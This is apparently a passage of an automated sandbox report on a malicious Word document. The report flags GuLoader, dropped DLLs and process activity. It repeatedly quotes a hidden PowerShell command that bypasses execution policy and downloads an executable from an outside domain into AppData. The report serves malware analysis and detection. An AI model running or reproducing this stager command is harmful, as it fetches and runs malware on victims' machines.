Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: ~WRF{B63E613D-9211-4CF9-925B-159614833873}.tmp.0.dr OLE document summary: title field not present or empty
Source: ~WRF{B63E613D-9211-4CF9-925B-159614833873}.tmp.0.dr OLE document summary: author field not present or empty
Source: ~WRF{B63E613D-9211-4CF9-925B-159614833873}.tmp.0.dr OLE document summary: edited time not present or 0
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: tomation.pdb source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ws\dll\System.pdb1. source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdb source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: :\Windows\mscorlib.pdb source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: mscorlib.pdbment.Automation.pdbBB source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdb=C:\ source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ws\System.Management.Automation.pdbpdbion.pdbamDa source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: scorlib.pdb source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ws\mscorlib.pdbpdblib.pdb8t source: powershell.exe, 00000012.00000002.958909440.0000000002D54000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: :\Windows\dll\mscorlib.pdb source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Windows\System.pdbstem.M source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\mscorlib.pdbn source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Windows\dll\System.Management.Automation.pdb:\Pr source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Windows\symbols\dll\mscorlib.pdb source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.926351887.0000000002B57000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.958909440.0000000002D57000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ws\mscorlib.pdbpdblib.pdb source: powershell.exe, 0000000C.00000002.926351887.0000000002B54000.00000004.00000020.00020000.00000000.sdmp
Source: ~WRF{B63E613D-9211-4CF9-925B-159614833873}.tmp.0.dr Initial sample: OLE indicators vbamacros = False

Data Obfuscation
barindex
Yara detected GuLoader
Source: Yara match File source: 00000009.00000002.1283953918.0000000006770000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Suspicious powershell command line found
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe')
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe')
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe')
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe') Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe')
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe')
PE file contains sections with non-standard names
Source: libgdk_pixbuf-2.0-0.dll.9.dr Static PE information: section name: .xdata
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Roaming\file.exe Code function: 9_2_73C22288 GlobalFree,lstrcpyA,GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA, 9_2_73C22288

Persistence and Installation Behavior
barindex
Tries to download and execute files (via powershell)
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe')
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe')
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe')
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe') Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe')
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerShell -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command "(New-Object System.Net.WebClient).DownloadFile('httPs://thekaribacruisecompany.com/file.exe','C:\Users\user\AppData\Roaming\file.exe')
Drops PE files
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\file[1].exe Jump to dropped file
Source: C:\Users\user\AppData\Roaming\file.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Drukneddens\Bruckled\Kededes\libgdk_pixbuf-2.0-0.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\file.exe File created: C:\Users\user\AppData\Local\Temp\nsnC988.tmp\System.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\file.exe File created: C:\Users\user\AppData\Local\Temp\nss4AE7.tmp\System.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\file.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Drukneddens\Bruckled\Kededes\Anabiotic\Farvelgninger\Satires\ZedGraph.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\file.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Drukneddens\Bruckled\Kededes\httputility.dll Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\file.exe Jump to dropped file
Source: C:\Users\user\AppData\Roaming\file.exe File created: C:\Users\user\AppData\Local\Temp\nsx1ED8.tmp\System.dll Jump to dropped file
Source: C:\Users\user\AppData\Roaming\file.exe File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Drukneddens\Bruckled\Kededes\Busafgange\Mekanismens\License.rtf Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process information set: NOALIGNMENTFAULTEXCEPT | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\AppData\Roaming\file.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX
